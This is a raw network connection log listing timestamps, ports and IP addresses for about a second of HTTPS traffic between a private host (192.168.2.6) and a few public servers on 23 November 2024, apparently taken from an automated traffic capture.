Nov 23, 2024 02:55:27.932425976 CET	49783	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.932437897 CET	443	49783	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.932940960 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.932970047 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.933021069 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.933031082 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.933082104 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.933082104 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.935425997 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.935457945 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.935739994 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.935928106 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:27.935942888 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:27.947105885 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.947139025 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.947206974 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.947215080 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.947309017 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.962316036 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.962336063 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.962402105 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.962408066 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:27.962496042 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:27.962560892 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.006531954 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.006644011 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:28.011706114 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:28.011718035 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.011957884 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.013536930 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:28.020162106 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.020184040 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.020350933 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.020378113 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.020471096 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.028386116 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.028407097 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.028465033 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.028481960 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.028516054 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.028544903 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.035568953 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.035586119 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.035655022 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.035682917 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.035696030 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.035759926 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.043845892 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.043863058 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.043920994 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.043930054 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.043942928 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.043991089 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.051978111 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.051994085 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.052064896 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.052072048 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.052084923 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.052279949 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.055334091 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.059788942 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.059804916 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.060005903 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.060014009 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.062541962 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.067974091 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.067990065 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.068063974 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.068072081 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.068105936 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.068113089 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.073782921 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.073808908 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.073868990 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.073885918 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.073915005 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.073951006 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.075131893 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.075150013 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.075212002 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.075217962 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.075371027 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.085783958 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.085805893 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.085890055 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.085890055 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.085905075 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.086344957 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.097021103 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.097044945 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.097136021 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.097148895 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.097203970 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.106744051 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.106766939 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.106846094 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.106859922 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.107780933 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.118680000 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.118707895 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.118755102 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.118767977 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.118796110 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.118824959 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.128417969 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.128441095 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.128539085 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.128549099 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.128627062 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.128710032 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.139663935 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.139686108 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.139733076 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.139740944 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.139810085 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.139810085 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.150269985 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.150289059 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.150377035 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.150387049 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.150459051 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.150459051 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.221524954 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.221549988 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.221615076 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.221648932 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.221668005 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.221716881 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.228842020 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.228863001 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.228949070 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.228959084 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.228976965 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.228976965 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.228998899 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.236979961 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.236999035 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.237085104 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.237095118 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.237138987 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.245039940 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.245055914 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.245141029 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.245150089 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.245193958 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.252115011 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.252130985 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.252202034 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.252211094 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.252419949 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.260734081 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.260750055 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.260823965 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.260834932 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.260961056 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.267810106 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.267826080 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.267899990 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.267913103 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.268009901 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.274926901 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.274957895 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.275037050 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.275053024 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.275079966 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.275424004 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.275984049 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.276005983 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.276083946 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.276094913 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.276362896 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.283438921 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.283459902 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.283533096 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.283540964 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.283730030 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.291883945 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.291903973 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.291971922 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.291981936 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.292078018 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.292078018 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.300395966 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.300424099 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.300607920 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.300621986 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.300683975 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.308305979 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.308326006 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.308401108 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.308409929 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.308485031 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.308485985 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.312184095 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.313404083 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.313426018 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.314058065 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.314069986 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.315767050 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.315783978 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.315834999 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.315845966 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.315871000 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.315994024 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.324275970 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.324295044 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.324378967 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.324388981 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.324618101 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.347851992 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.347862005 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.347987890 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.347987890 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.347997904 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.348050117 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.371882915 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.398778915 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.398802042 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.399329901 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.399336100 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.422842026 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.422863960 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.422920942 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.422933102 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.422969103 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.422980070 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.430886984 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.430905104 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.430964947 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.430973053 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.431123018 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.434679985 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.439080000 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.439106941 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.439160109 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.439168930 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.439202070 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.439220905 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.446094036 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.446111917 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.446177959 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.446187973 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.446430922 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.454158068 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.454180956 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.454266071 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.454277992 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.454313040 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.461853981 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.461873055 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.461980104 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.462001085 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.462116957 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.469082117 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.469101906 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.469762087 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.469768047 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.469863892 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.469885111 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.469928026 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.469944000 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.469961882 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.470004082 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.477123976 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.477155924 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.477206945 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.477219105 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.477242947 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.477303982 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.478022099 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.478068113 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.478115082 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.478122950 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.478146076 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.478178024 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.484561920 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.484580994 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.484662056 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.484671116 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.484796047 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.492974997 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.492994070 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.493083000 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.493083000 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.493094921 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.493189096 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.501533985 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.501553059 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.501650095 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.501650095 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.501658916 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.501698971 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.509432077 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.509450912 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.509536028 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.509546041 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.509601116 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.509601116 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.517951965 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.517970085 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.518198967 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.518198967 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.518209934 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.518464088 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.525384903 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.525403976 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.525470018 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.525477886 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.525563002 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.525563002 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.543004036 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.543082952 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.543680906 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:28.549179077 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.549196959 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.549313068 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.549320936 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.549390078 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.624211073 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.624252081 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.624305010 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.624337912 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.624358892 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.624387980 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.632194996 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.632210970 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.632272959 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.632283926 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.632339001 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.636701107 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:28.636701107 CET	49788	443	192.168.2.6	184.30.17.174
Nov 23, 2024 02:55:28.636722088 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.636730909 CET	443	49788	184.30.17.174	192.168.2.6
Nov 23, 2024 02:55:28.637970924 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.638041019 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.638051987 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.638071060 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.638209105 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.678637028 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.678663969 CET	443	49781	150.171.27.10	192.168.2.6
